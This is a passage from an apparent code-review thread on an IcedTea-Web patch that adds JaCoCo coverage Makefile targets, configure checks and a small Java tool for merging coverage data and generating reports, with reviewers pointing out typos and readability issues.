$(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) >>> $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ >>> + --input-builds $(NETX_DIR)/lib/classes.jar >>> $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) >>> $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ >>> + --title "IcedTea-Web reproducers-tests codecoverage" ; \ >>> + echo "restoring javaws in $(DESTDIR)$(bindir)" ; \ >>> + rm -f $(DESTDIR)$(bindir)/$(javaws); \ >>> + mv $$javaws_backup $(DESTDIR)$(bindir)/$(javaws); \ >>> + echo "restoring plugin in >>> $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ >>> + mv $$plugin_backup $(DESTDIR)$(libdir)/$(BUILT_PLUGIN_LIBRARY) ; \ >>> + for file in $(EMMA_MODIFIED_FILES) ; do \ >>> + mv $(TEST_EXTENSIONS_DIR)/$$file >>> $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ >>> + mv $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" >>> $(TEST_EXTENSIONS_DIR)/$$file ; \ >>> + done ; >>> +else >>> + echo "Sorry, coverage report cant be run without jacoco >>> installed. Try install jacoco or specify with-jacoco value" ; >>> + exit 5 >>> +endif >>> + touch $@ >> >> My eyes ... could this be its own bash script ? Maybe then I could >> actually read it ... > > no :) You can leave this in if you really want ... but I would feel better if there was a bash script with utilities to make this all nicer. Per our discussion on IRC, a bash script with 'set -e' will exit on any error, making it work nicer with make. I get what its doing, but there really is a lot of noise-to-signal going on here, so its hard to review in any sort of depth. > >> >>> + >>> +run-test-code-coverage-jacoco: >>> stamps/run-unit-test-code-coverage-jacoco.stamp >>> stamps/run-reproducers-test-code-coverage-jacoco.stamp >>> +if WITH_JACOCO >>> + cd $(TESTS_DIR) ; \ >>> + k=0 ; \ >>> + types=($(ALL_REPRODUCERS)); \ >>> + for which in "$${types[@]}" ; do \ >>> + . $(abs_top_srcdir)/NEW_LINE_IFS ; \ >>> + simpleReproducers=(`cat >>> $(abs_top_builddir)/junit-jnlp-dist-$$which.txt `); \ >>> + IFS="$$IFS_BACKUP" ; \ >>> + for dir in "$${simpleReproducers[@]}" ; do \ >>> + >>> testcases_srcs[k]="$(REPRODUCERS_TESTS_SRCDIR)/$$which/$$dir/testcases/" >>> ; \ >>> + k=$$((k+1)) ; \ >>> + done ; \ >>> + done ; \ >>> + class_names=`cat $(REPRODUCERS_CLASS_NAMES)` ; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + merge --die-soon --input-files >>> $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec >>> $(NETX_UNIT_TEST_DIR)/jacoco.exec --output-file jacoco-merged.exec; \ >>> + $(JACOCO_OPERATOR_EXEC) \ >>> + report --html-output coverage --xml-output coverage.xml >>> --input-file jacoco-merged.exec \ >>> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java >>> $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) >>> $(TEST_EXTENSIONS_TESTS_SRCDIR) "$${testcases_srcs[@]}" \ >>> + --input-builds $(NETX_DIR)/lib/classes.jar >>> $(abs_top_builddir)/liveconnect/lib/classes.jar $(JUNIT_RUNNER_JAR) >>> $(TEST_EXTENSIONS_DIR) $(TEST_EXTENSIONS_TESTS_DIR) \ >>> + --input-srcs $(NETX_UNIT_TEST_SRCDIR) \ >>> + --input-builds $(NETX_UNIT_TEST_DIR) \ >>> + --title "IcedTea-Web complete codecoverage" ; >>> +else >>> + echo "Sorry, coverage report cant be run without jacoco >>> installed. Try install jacoco or specify with-jacoco value" ; >>> + exit 5 >>> +endif >>> + >>> +run-test-code-coverage: stamps/run-unit-test-code-coverage.stamps >>> stamps/run-reproducers-test-code-coverage.stamps >>> if WITH_EMMA >>> cd $(TESTS_DIR) ; \ >>> k=0 ; \ >>> @@ -1175,7 +1392,7 @@ >>> exit 5 >>> endif >>> >>> -clean-netx-tests: clean-netx-unit-tests clean-junit-runner >>> clean-netx-dist-tests clean-test-code-coverage >>> +clean-netx-tests: clean-netx-unit-tests clean-junit-runner >>> clean-netx-dist-tests clean-test-code-coverage-jacoco >>> clean-test-code-coverage >>> if [ -e $(TESTS_DIR)/netx ]; then \ >>> rmdir $(TESTS_DIR)/netx ; \ >>> fi >>> @@ -1258,6 +1475,44 @@ >>> rm -f $(TESTS_DIR)/coverage.em ; \ >>> fi >>> >>> +clean-unit-test-code-coverage-jacoco: >>> + if [ -e stamps/run-unit-test-code-coverage-jacoco.stamp ]; then \ >>> + rm -rf $(NETX_UNIT_TEST_DIR)/coverage ; \ >>> + rm -f $(NETX_UNIT_TEST_DIR)/coverage.xml ; \ >>> + rm -f $(NETX_UNIT_TEST_DIR)/jacoco.exec ; \ >>> + rm -f $(NETX_UNIT_TEST_DIR)/tests-output_withEmma.xml ; \ >>> + rm -f stamps/run-unit-test-code-coverage-jacoco.stamp ; \ >>> + fi >>> + >>> +clean-reproducers-test-code-coverage-jacoco: >>> + if [ -e stamps/run-reproducers-test-code-coverage-jacoco.stamp >>> ]; then \ >>> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-javaws ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/coverage-javaws.xml ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec ; \ >>> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage-plugin ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/coverage-plugin.xml ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec ; \ >>> + rm -rf $(TEST_EXTENSIONS_DIR)/coverage ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/coverage.xml ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/jacoco-merged-reproducers.exec ; \ >>> + rm -f $(TEST_EXTENSIONS_DIR)/tests-output_withEmma.xml ; \ >>> + rm -f stamps/run-reproducers-test-code-coverage-jacoco.stamp ; \ >>> + fi >>> + >>> +clean-test-code-coverage-jacoco: >>> clean-unit-test-code-coverage-jacoco >>> clean-reproducers-test-code-coverage-jacoco >>> clean-test-code-coverage-tools-jacoco >>> + if [ -e $(TESTS_DIR)/coverage.xml ]; then \ >>> + rm -rf $(TESTS_DIR)/coverage ; \ >>> + rm -f $(TESTS_DIR)/jacoco-merged.exec; \ >>> + fi >>> + >>> +clean-test-code-coverage-tools-jacoco: >>> + rm -rf $(JACOCO_OPERATOR_DIR) >>> + rm -rf $(FAKE_PLUGIN_SRCDIR) >>> + rm -rf $(FAKE_PLUGIN_DIR) >>> + rm -f stamps/compile-jacoco-operator.stamp; >>> + rm -f jacoco-operator-source-files.txt >>> + rm -f stamps/build-fake-plugin.stamp >>> + >>> >>> # plugin tests >>> >>> @@ -1377,3 +1632,7 @@ >>> run-unit-test-code-coverage: stamps/run-unit-test-code-coverage.stamp >>> >>> run-reproducers-test-code-coverage: >>> stamps/run-reproducers-test-code-coverage.stamp >>> + >>> +run-unit-test-code-coverage-jacoco: >>> stamps/run-unit-test-code-coverage-jacoco.stamp >>> + >>> +run-reproducers-test-code-coverage-jacoco: >>> stamps/run-reproducers-test-code-coverage-jacoco.stamp >>> diff -r aff6fb36a9ab configure.ac >>> --- a/configure.ac Mon Dec 03 18:08:38 2012 +0100 >>> +++ b/configure.ac Wed Dec 05 16:40:30 2012 +0100 >>> @@ -106,6 +106,10 @@ >>> [/usr/share/java/junit4.jar /usr/share/junit-4/lib/junit.jar]) >>> IT_FIND_OPTIONAL_JAR([emma], EMMA, >>> [/usr/share/java/emma.jar]) >>> +IT_FIND_OPTIONAL_JAR([jacoco], JACOCO, >>> + [/usr/share/java/jacoco/org.jacoco.core.jar]) >>> +IT_FIND_OPTIONAL_JAR([asm4], ASM4, >>> + [/usr/share/java/objectweb-asm4/asm-all-4.0.jar]) >>> >>> AC_CONFIG_FILES([jrunscript], [chmod u+x jrunscript]) >>> AC_CONFIG_FILES([build.properties]) >>> >>> >> The makefile grows ... Is it standard practice to have Makefile's >> this big ? I think it would be >> more maintainable and readable with some helper scripts for >> test-related parts. > > We can maybe put all the testing stuff to different makefile. See the > makefiles of openjdk... It is not always an advantage :) I think this > makefile is still ok. OK, just remember that people get accustomed to less-than-ideal things :). (Just like I thought Windows was good-enough until I started using linux ...) >> >>> diff -r aff6fb36a9ab >>> tests/jacoco-operator/org/jacoco/operator/Main.java >>> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >>> +++ b/tests/jacoco-operator/org/jacoco/operator/Main.java Wed Dec 05 >>> 16:40:30 2012 +0100 >>> @@ -0,0 +1,288 @@ >>> +/* >>> +Copyright (C) 2012 Red Hat, Inc. >>> + >>> +This file is part of IcedTea. >>> + >>> +IcedTea is free software; you can redistribute it and/or >>> +modify it under the terms of the GNU General Public License as >>> published by >>> +the Free Software Foundation, version 2. >>> + >>> +IcedTea is distributed in the hope that it will be useful, >>> +but WITHOUT ANY WARRANTY; without even the implied warranty of >>> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >>> +General Public License for more details. >>> + >>> +You should have received a copy of the GNU General Public License >>> +along with IcedTea; see the file COPYING. If not, write to >>> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth >>> Floor, Boston, MA >>> +02110-1301 USA. >>> + >>> +Linking this library statically or dynamically with other modules is >>> +making a combined work based on this library. Thus, the terms and >>> +conditions of the GNU General Public License cover the whole >>> +combination. >>> + >>> +As a special exception, the copyright holders of this library give you >>> +permission to link this library with independent modules to produce an >>> +executable, regardless of the license terms of these independent >>> +modules, and to copy and distribute the resulting executable under >>> +terms of your choice, provided that you also meet, for each linked >>> +independent module, the terms and conditions of the license of that >>> +module. An independent module is a module which is not derived from >>> +or based on this library. If you modify this library, you may extend >>> +this exception to your version of the library, but you are not >>> +obligated to do so. If you do not wish to do so, delete this >>> +exception statement from your version. >>> + */ >>> + >>> +package org.jacoco.operator; >>> + >>> +import java.io.File; >>> +import java.io.IOException; >>> +import java.util.ArrayList; >>> +import java.util.List; >>> + >>> +/** >>> + * Commandline launcher >>> + */ >>> +public class Main { >>> + >>> + //main switches >>> + private static final String MERGE = "merge"; >>> + private static final String REPORT = "report"; >>> + //switches >>> + private static final String die_soon = "--die-soon"; >>> + //merge >>> + private static final String output_file = "--output-file"; >>> + private static final String input_files = "--input-files"; >>> + //report >>> + private static final String html_output = "--html-output"; >>> + private static final String xml_output = "--xml-output"; >>> + private static final String input_srcs = "--input-srcs"; >>> + private static final String input_builds = "--input-builds"; >>> + private static final String title = "--title"; >>> + private static String input_file = "--input-file"; >>> + /** >>> + * * >>> + */ >>> + private static boolean dieSoon = false; >>> + private static boolean warned = false; >>> + >>> + public static void main(String[] args) throws IOException { >>> + if (args.length < 2) { >>> + printHelp(); >>> + System.exit(0); >>> + } >>> + >>> + Runnable r = null; >>> + if (args[0].equalsIgnoreCase(MERGE)) { >>> + r = proceedMerge(cutFirstParam(args)); >>> + } else if (args[0].equalsIgnoreCase(REPORT)) { >>> + r = proceedReport(cutFirstParam(args)); >>> + } else { >>> + System.err.println("Unsuported main switch `" + args[0] >>> + "`, use " + MERGE + " or " + REPORT); >>> + printHelp(); >>> + System.exit(1); >>> + } >>> + if (dieSoon && warned) { >>> + System.err.println(die_soon + " is specified and >>> warning occured. Exiting"); >>> + System.exit(2); >>> + } >>> + r.run(); >>> + >>> + } >>> + >>> + private static void printHelp() { >>> + System.out.println("Usage: java `classapath` >>> org.jacoco.operator.Main [" + MERGE + "|" + REPORT + "] >>> swithes/files"); >> >> swithes -> switches >> >>> + System.out.println(" order of swithches does not metter"); >> >> swithches -> switches Sorry, just realized that 'metter' should be 'matter' here. >> >>> + System.out.println(" Merge usage: java `classapath` >>> org.jacoco.operator.Main " + MERGE + " " + output_file + " file " + >>> input_files + " file file file ..."); >> >> classapath -> classpath >> >>> + System.out.println(" Report usage: java `classapath` >>> org.jacoco.operator.Main " + REPORT + " " + html_output + " file " + >>> xml_output + " file " + input_srcs + " file file file ... " + >>> input_builds + " file file file " + title + " titleOfReport " + >>> input_file + " file"); >> >> classapath -> classpath >> >>> + System.out.println("Where:"); >>> + System.out.println(" classapth should contain this >>> application, and complete jacoco, and sometimes asm3 (depends on >>> jacoco bundle)"); >> >> classapth -> classpath >> > >>> + System.out.println(" " + die_soon + " - can be set as >>> firstr parameter (after main switch), each warning then will cause >>> exit of application"); >> >> firstr -> first > > All typos should be fixed > >> Maybe 'die_soon' would be more understandable as 'fail_fast' >> (die_soon is confusing to me, it is not >> readily clear that it has to do with failures). > > hmhmh I would probably rather prefere die soon. Fil fast looks to me > like having nothing to do with dieing, and die_on_failure is to long :) > > But I have at least renamed the variable. >> >>> + System.out.println(" " + MERGE); >>> + System.out.println(" " + output_file + " - is file where >>> merged inputs will be saved"); >>> + System.out.println(" " + input_files + " - is list of >>> files which will be merged into output file"); >>> + System.out.println(" " + REPORT); >>> + System.out.println(" " + html_output + " - name of >>> directory into which report will be generated. Should be empty or >>> not -existing"); >> >> 'be empty or not yet exist' is a bit clearer >> >>> + System.out.println(" " + xml_output + " - is name of >>> file into which xml report will be written"); >>> + System.out.println(" " + input_srcs + " - jars, zips or >>> directories with java sources which will be used during report >>> generation"); >>> + System.out.println(" " + input_builds + " - jars, zips >>> or directories with compiled java classes, debug information must be >>> present"); >>> + System.out.println(" " + title + " - title of report"); >>> + System.out.println(" " + input_file + " - input file >>> with recorded coverage-run-session. By default jacoco saves into " + >>> MergeTask.DEFAULT_NAME); >>> + >>> + } >>> + >>> + private static String[] cutFirstParam(String[] args) { >>> + String[] arg = new String[args.length - 1]; >>> + System.arraycopy(args, 1, arg, 0, arg.length); >>> + return arg; >>> + } >>> + >>> + private static Runnable proceedMerge(String[] a) throws >>> IOException { >>> + String doing = null; >>> + String outputFile = null; >>> + List inputFiles = new ArrayList(2); >>> + for (String s : a) { >>> + if (s.startsWith("--")) { >>> + if (s.equalsIgnoreCase(die_soon)) { >>> + doing = null; >>> + dieSoon = true; >>> + } else if (s.equalsIgnoreCase(output_file)) { >>> + doing = output_file; >>> + } else if (s.equalsIgnoreCase(input_files)) { >>> + doing = input_files; >>> + } else { >>> + warnOrDie("Unknown Switch for merge " + s); >>> + doing = null; >>> + } >>> + } else { >>> + if (doing == null) { >>> + warnOrDie("Missing switch during processing of >>> " + s); >>> + } else { >>> + if (doing.equalsIgnoreCase(output_file)) { >>> + outputFile = s; >>> + } else if (doing.equalsIgnoreCase(input_files)) { >>> + inputFiles.add(s); >>> + } else { >>> + warnOrDie("Unknown processing of switch of" >>> + doing); >>> + } >>> + >>> + } >>> + } >>> + } >>> + throwIfNullOrEmpty(outputFile, "empty output file"); >>> + File ff = new File(outputFile); >>> + if (ff.exists()) { >>> + warnOrDie("Warning, output file " + >>> ff.getAbsolutePath() + " exists"); >>> + } >>> + MergeTask m = new MergeTask(ff); >>> + for (String string : inputFiles) { >>> + if (checkIfNotNullOrEmpty(string)) { >>> + File f = new File(string); >>> + if (!f.exists()) { >>> + warnOrDie("Warning, input coverage " + >>> f.getAbsolutePath() + " does not exists!"); >>> + } >>> + m.addInputFile(f); >>> + } >>> + } >>> + return m; >>> + >>> + } >>> + >>> + private static Runnable proceedReport(String[] a) throws >>> IOException { >>> + String doing = null; >>> + String htmlDir = null; >>> + String xmlFile = null; >>> + List inputSrcs = new ArrayList(1); >>> + List inputBuilds = new ArrayList(1); >>> + String titleValue = null; >>> + String inputFile = null; >>> + for (String s : a) { >>> + if (s.startsWith("--")) { >>> + if (s.equalsIgnoreCase(die_soon)) { >>> + doing = null; >>> + dieSoon = true; >>> + } else if (s.equalsIgnoreCase(html_output)) { >>> + doing = html_output; >>> + } else if (s.equalsIgnoreCase(xml_output)) { >>> + doing = xml_output; >>> + } else if (s.equalsIgnoreCase(input_srcs)) { >>> + doing = input_srcs; >>> + } else if (s.equalsIgnoreCase(input_builds)) { >>> + doing = input_builds; >>> + } else if (s.equalsIgnoreCase(title)) { >>> + doing = title; >>> + } else if (s.equalsIgnoreCase(input_file)) { >>> + doing = input_file; >>> + } else { >>> + warnOrDie("Unknown Switch for report " + s); >>> + doing = null; >>> + } >>> + } else { >>> + if (doing == null) { >>> + warnOrDie("Missing switch during processing of >>> " + s); >>> + } else { >>> + if (doing.equalsIgnoreCase(html_output)) { >>> + htmlDir = s; >>> + } else if (doing.equalsIgnoreCase(xml_output)) { >>> + xmlFile = s; >>> + } else if (doing.equalsIgnoreCase(input_srcs)) { >>> + inputSrcs.add(s); >>> + } else if (doing.equalsIgnoreCase(input_builds)) { >>> + inputBuilds.add(s); >>> + } else if (doing.equalsIgnoreCase(title)) { >>> + titleValue = s; >>> + } else if (doing.equalsIgnoreCase(input_file)) { >>> + inputFile = s; >>> + } else { >>> + warnOrDie("Unknown processing of switch of >>> " + doing); >>> + } >>> + >>> + } >>> + } >>> + } >>> + File finalHtmlFile = null; >>> + if (checkIfNotNullOrEmpty(htmlDir)) { >>> + finalHtmlFile = new File(htmlDir); >>> + if (finalHtmlFile.exists()) { >>> + warnOrDie("Warning, direcotry for html report >>> exists! " + finalHtmlFile.getAbsolutePath()); >>> + } >>> + } >>> + File finalXmlFile = null; >>> + if (checkIfNotNullOrEmpty(xmlFile)) { >>> + finalXmlFile = new File(xmlFile); >>> + if (finalXmlFile.exists()) { >>> + warnOrDie("Warning, file for xml report exists! " + >>> finalHtmlFile.getAbsolutePath()); >>> + } >>> + } >>> + if (chckIfNUllOrEmpty(titleValue)) { >>> + titleValue = "Coverage report"; >>> + } >>> + throwIfNullOrEmpty(inputFile, "No coverage data file >>> specified!"); >>> + File finalInputFile = new File(inputFile); >>> + >>> + ReportGenerator rg = new ReportGenerator(titleValue, >>> finalInputFile, finalHtmlFile, finalXmlFile); >>> + >>> + for (String string : inputSrcs) { >>> + if (checkIfNotNullOrEmpty(string)) { >>> + File f = new File(string); >>> + if (!f.exists()) { >>> + warnOrDie("Warning, input source " + >>> f.getAbsolutePath() + " does not exists!"); >>> + } >>> + rg.addSource(f); >>> + } >>> + } >>> + for (String string : inputBuilds) { >>> + if (checkIfNotNullOrEmpty(string)) { >>> + File f = new File(string); >>> + if (!f.exists()) { >>> + warnOrDie("Warning, input build " + >>> f.getAbsolutePath() + " does not exists!"); >>> + } >>> + rg.addClasses(f); >>> + } >>> + } >>> + return rg; >>> + } >>> + >>> + private static String throwIfNullOrEmpty(String outputFile, >>> String message) throws RuntimeException { >>> + if (chckIfNUllOrEmpty(outputFile)) { >>> + throw new RuntimeException(message); >>> + } >>> + return outputFile; >>> + } >>> + >>> + private static boolean checkIfNotNullOrEmpty(String string) { >>> + return string != null && string.trim().length() != 0; >>> + } >>> + >>> + private static boolean chckIfNUllOrEmpty(String outputFile) { >>> + return outputFile == null || outputFile.trim().length() == 0; >>> + } >>> + >>> + private static void warnOrDie(String string) { >>> + System.err.println(string); >>> + warned = true; >>> + >>> + } >>> +} >> >> Nice little tool overall > > jsut full of typos :-/ > Thanx! > > I hope after this spell check it will b eupstreamed faster :D > >> >>> diff -r aff6fb36a9ab >>> tests/jacoco-operator/org/jacoco/operator/MergeTask.java >>> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >>> +++ b/tests/jacoco-operator/org/jacoco/operator/MergeTask.java Wed >>> Dec 05 16:40:30 2012 +0100 >>> @@ -0,0 +1,169 @@ >>> +/* >>> +Copyright (C) 2012 Red Hat, Inc. >>> + >>> +This file is part of IcedTea. >>> + >>> +IcedTea is free software; you can redistribute it and/or >>> +modify it under the terms of the GNU General Public License as >>> published by >>> +the Free Software Foundation, version 2. >>> + >>> +IcedTea is distributed in the hope that it will be useful, >>> +but WITHOUT ANY WARRANTY; without even the implied warranty of >>> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >>> +General Public License for more details. >>> + >>> +You should have received a copy of the GNU General Public License >>> +along with IcedTea; see the file COPYING. If not, write to >>> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth >>> Floor, Boston, MA >>> +02110-1301 USA. >>> + >>> +Linking this library statically or dynamically with other modules is >>> +making a combined work based on this library. Thus, the terms and >>> +conditions of the GNU General Public License cover the whole >>> +combination. >>> + >>> +As a special exception, the copyright holders of this library give you >>> +permission to link this library with independent modules to produce an >>> +executable, regardless of the license terms of these independent >>> +modules, and to copy and distribute the resulting executable under >>> +terms of your choice, provided that you also meet, for each linked >>> +independent module, the terms and conditions of the license of that >>> +module. An independent module is a module which is not derived from >>> +or based on this library. If you modify this library, you may extend >>> +this exception to your version of the library, but you are not >>> +obligated to do so. If you do not wish to do so, delete this >>> +exception statement from your version. >>> + */ >>> +package org.jacoco.operator; >>> + >>> +import java.io.BufferedOutputStream; >>> +import java.io.File; >>> +import java.io.FileInputStream; >>> +import java.io.FileOutputStream; >>> +import java.io.IOException; >>> +import java.io.InputStream; >>> +import java.io.OutputStream; >>> +import java.util.ArrayList; >>> +import java.util.Iterator; >>> +import java.util.List; >>> +import org.jacoco.core.data.ExecutionDataReader; >>> +import org.jacoco.core.data.ExecutionDataStore; >>> +import org.jacoco.core.data.ExecutionDataWriter; >>> +import org.jacoco.core.data.SessionInfoStore; >>> + >>> +/** >>> + * Task for merging a set of execution data store files into a >>> single file >>> + * >>> + * Inspired by: >>> + >>> *https://raw.github.com/jacoco/jacoco/master/org.jacoco.ant/src/org/jacoco/ant/MergeTask.java >>> + */ >>> +public class MergeTask implements Runnable { >>> + >>> + public static final String DEFAULT_NAME = "jacoco.exec"; >>> + private File destfile; >>> + private final List files = new ArrayList(1); >>> + >>> + public MergeTask(File destfile) { >>> + this.destfile = destfile; >>> + } >>> + >>> + public MergeTask(File destfile, List inputs) { >>> + this.destfile = destfile; >>> + files.addAll(inputs); >>> + } >>> + >>> + /** >>> + * Sets the location of the merged data store >>> + * >>> + * @param destfile Destination data store location >>> + */ >>> + public void setDestfile(final File destfile) { >>> + this.destfile = destfile; >>> + } >>> + >>> + public void addInputFile(final File input) { >>> + if (input != null) { >>> + files.add(input); >>> + } >>> + } >>> + >>> + public void addInputFiles(final List input) { >>> + files.addAll(input); >>> + } >>> + >>> + public void execute() throws IOException { >>> + if (destfile == null) { >>> + throw new RuntimeException("Destination file must be >>> supplied"); >>> + } >>> + >>> + final SessionInfoStore infoStore = new SessionInfoStore(); >>> + final ExecutionDataStore dataStore = new ExecutionDataStore(); >>> + >>> + loadSourceFiles(infoStore, dataStore); >>> + >>> + OutputStream outputStream = null; >>> + try { >>> + >>> + outputStream = new BufferedOutputStream(new >>> FileOutputStream( >>> + destfile)); >>> + final ExecutionDataWriter dataWriter = new >>> ExecutionDataWriter( >>> + outputStream); >>> + infoStore.accept(dataWriter); >>> + dataStore.accept(dataWriter); >>> + } finally { >>> + if (outputStream != null) { >>> + outputStream.close(); >>> + } >>> + } >>> + >>> + } >>> + >>> + private void loadSourceFiles(final SessionInfoStore infoStore, >>> final ExecutionDataStore dataStore) throws IOException { >>> + if (files == null || files.isEmpty()) { >>> + throw new RuntimeException("No input files"); >>> + } >>> + final Iterator resourceIterator = files.iterator(); >>> + while (resourceIterator.hasNext()) { >>> + final File resource = (File) resourceIterator.next(); >>> + >>> + if (resource.isDirectory()) { >>> + continue; >>> + } >>> + InputStream resourceStream = null; >>> + try { >>> + resourceStream = new FileInputStream(resource); >>> + final ExecutionDataReader reader = new >>> ExecutionDataReader( >>> + resourceStream); >>> + reader.setSessionInfoVisitor(infoStore); >>> + reader.setExecutionDataVisitor(dataStore); >>> + reader.read(); >>> + } finally { >>> + if (resourceStream != null) { >>> + resourceStream.close(); >>> + } >>> + } >>> + } >>> + } >>> + >>> + @Override >>> + public void run() { >>> + try { >>> + execute(); >>> + } catch (IOException ex) { >>> + throw new RuntimeException(ex); >>> + } >>> + } >>> + >>> + public static void main(final String[] args) throws IOException { >>> + String root = >>> "/home/jvanek/Desktop/icedtea-web/tests.build/netx/unit/"; >>> + String result = root+"/jacoco-merged.exec"; >>> + String file =root + "/"+DEFAULT_NAME; >>> + >>> + >>> + final MergeTask merger = new MergeTask(new File(result)); >>> + merger.addInputFile(new File(file)); >>> + merger.addInputFile(new File(file)); >>> + merger.execute(); >>> + >>> + } >>> +} >>> diff -r aff6fb36a9ab >>> tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java >>> --- /dev/null Thu Jan 01 00:00:00 1970 +0000 >>> +++ b/tests/jacoco-operator/org/jacoco/operator/ReportGenerator.java >>> Wed Dec 05 16:40:30 2012 +0100 >>> @@ -0,0 +1,336 @@ >>> +/* >>> +Copyright (C) 2012 Red Hat, Inc. >>> + >>> +This file is part of IcedTea. >>> + >>> +IcedTea is free software; you can redistribute it and/or >>> +modify it under the terms of the GNU General Public License as >>> published by >>> +the Free Software Foundation, version 2. >>> + >>> +IcedTea is distributed in the hope that it will be useful, >>> +but WITHOUT ANY WARRANTY; without even the implied warranty of >>> +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU >>> +General Public License for more details. >>> + >>> +You should have received a copy of the GNU General Public License >>> +along with IcedTea; see the file COPYING. If not, write to >>> +the Free Software Foundation, Inc., 51 Franklin Street, Fifth >>> Floor, Boston, MA >>> +02110-1301 USA. >>> + >>> +Linking this library statically or dynamically with other modules is >>> +making a combined work based on this library. Thus, the terms and >>> +conditions of the GNU General Public License cover the whole >>> +combination. >>> + >>> +As a special exception, the copyright holders of this library give you >>> +permission to link this library with independent modules to produce an >>> +executable, regardless of the license terms of these independent >>> +modules, and to copy and distribute the resulting executable under >>> +terms of your choice, provided that you also meet, for each linked >>> +independent module, the terms and conditions of the license of that >>> +module. An independent module is a module which is not derived from >>> +or based on this library. If you modify this library, you may extend >>> +this exception to your version of the library, but you are not >>> +obligated to do so. If you do not wish to do so, delete this >>> +exception statement from your version. >>> + */ >>> + >>> +package org.jacoco.operator; >>> + >>> +import java.io.File; >>> +import java.io.FileInputStream; >>> +import java.io.FileOutputStream; >>> +import java.io.IOException; >>> +import java.io.OutputStream; >>> +import java.util.ArrayList; >>> +import java.util.List; >>> +import org.jacoco.core.analysis.Analyzer; >>> +import org.jacoco.core.analysis.CoverageBuilder; >>> +import org.jacoco.core.analysis.IBundleCoverage; >>> +import org.jacoco.core.data.ExecutionDataReader; >>> +import org.jacoco.core.data.ExecutionDataStore; >>> +import org.jacoco.core.data.SessionInfoStore; >>> +import org.jacoco.report.DirectorySourceFileLocator; >>> +import org.jacoco.report.FileMultiReportOutput; >>> +import org.jacoco.report.IReportVisitor; >>> +import org.jacoco.report.MultiSourceFileLocator; >>> +import org.jacoco.report.html.HTMLFormatter; >>> +import org.jacoco.report.xml.XMLFormatter; >>> + >>> +/** >>> + * This example creates a HTML report for eclipse like projects >>> based on a >>> + * single execution data store called jacoco.exec. The report >>> contains no >>> + * grouping information. >>> + * >>> + * The class files under test must be compiled with debug >>> information, otherwise >>> + * source highlighting will not work. >>> + * >>> + * Originally based on: >>> + >>> *http://www.eclemma.org/jacoco/trunk/doc/examples/java/ReportGenerator.java >>> + */ >>> +public class ReportGenerator implements Runnable { >>> + >>> + private final String title; >>> + private final File executionDataFile; >>> + private final List classesDirectories = new >>> ArrayList(1); >>> + private final List sourceDirectories = new >>> ArrayList(1); >>> + private File reportDirectory; >>> + private File xmlOutput; >>> + private ExecutionDataStore executionDataStore; >>> + private SessionInfoStore sessionInfoStore; >>> + private String XML_DEF_NAME = "coverage-summary.xml"; >>> + >>> + /** >>> + * Create a new generator based for the given project. >>> + * >>> + * @param projectDirectory >>> + */ >>> + public ReportGenerator(final File projectDirectory) { >>> + this.title = projectDirectory.getName(); >>> + this.executionDataFile = new File(projectDirectory, >>> MergeTask.DEFAULT_NAME); >>> + this.classesDirectories.add(new File(projectDirectory, >>> "bin")); >>> + this.sourceDirectories.add(new File(projectDirectory, "src")); >>> + this.reportDirectory = new File(projectDirectory, >>> "coveragereport"); >>> + this.xmlOutput = new File(projectDirectory, XML_DEF_NAME); >>> + } >>> + >>> + public ReportGenerator(String title, File exec, File classes, >>> File sources, File htmlReport, File xmlReport) { >>> + this.title = title; >>> + this.executionDataFile = exec; >>> + if (classes != null) { >>> + this.classesDirectories.add(classes); >>> + } >>> + if (sources != null) { >>> + this.sourceDirectories.add(sources); >>> + } >>> + this.reportDirectory = htmlReport; >>> + >>> + this.xmlOutput = xmlReport; >>> + } >>> + >>> + public ReportGenerator(String title, File exec, List >>> classes, List sources, File htmlReport, File xmlReport) { >>> + this.title = title; >>> + this.executionDataFile = exec; >>> + if (classes != null) { >>> + this.classesDirectories.addAll(classes); >>> + } >>> + if (sources != null) { >>> + this.sourceDirectories.addAll(sources); >>> + } >>> + this.reportDirectory = htmlReport; >>> + this.xmlOutput = xmlReport; >>> + } >>> + >>> + public ReportGenerator(String title, File exec, List >>> classes, List sources, File report) { >>> + this.title = title; >>> + this.executionDataFile = exec; >>> + if (classes != null) { >>> + this.classesDirectories.addAll(classes); >>> + } >>> + if (sources != null) { >>> + this.sourceDirectories.addAll(sources); >>> + } >>> + this.reportDirectory = report; >>> + this.xmlOutput = new File(report, XML_DEF_NAME); >>> + } >>> + >>> + public ReportGenerator(String title, File exec, File >>> htmlReport, File xmlReport) { >>> + this.title = title; >>> + this.executionDataFile = exec; >>> + this.reportDirectory = htmlReport; >>> + this.xmlOutput = xmlReport; >>> + } >>> + >>> + public ReportGenerator(String title, File exec, File report) { >>> + this.title = title; >>> + this.executionDataFile = exec; >>> + this.reportDirectory = report; >>> + this.xmlOutput = new File(report, XML_DEF_NAME); >>> + } >>> + >>> + public 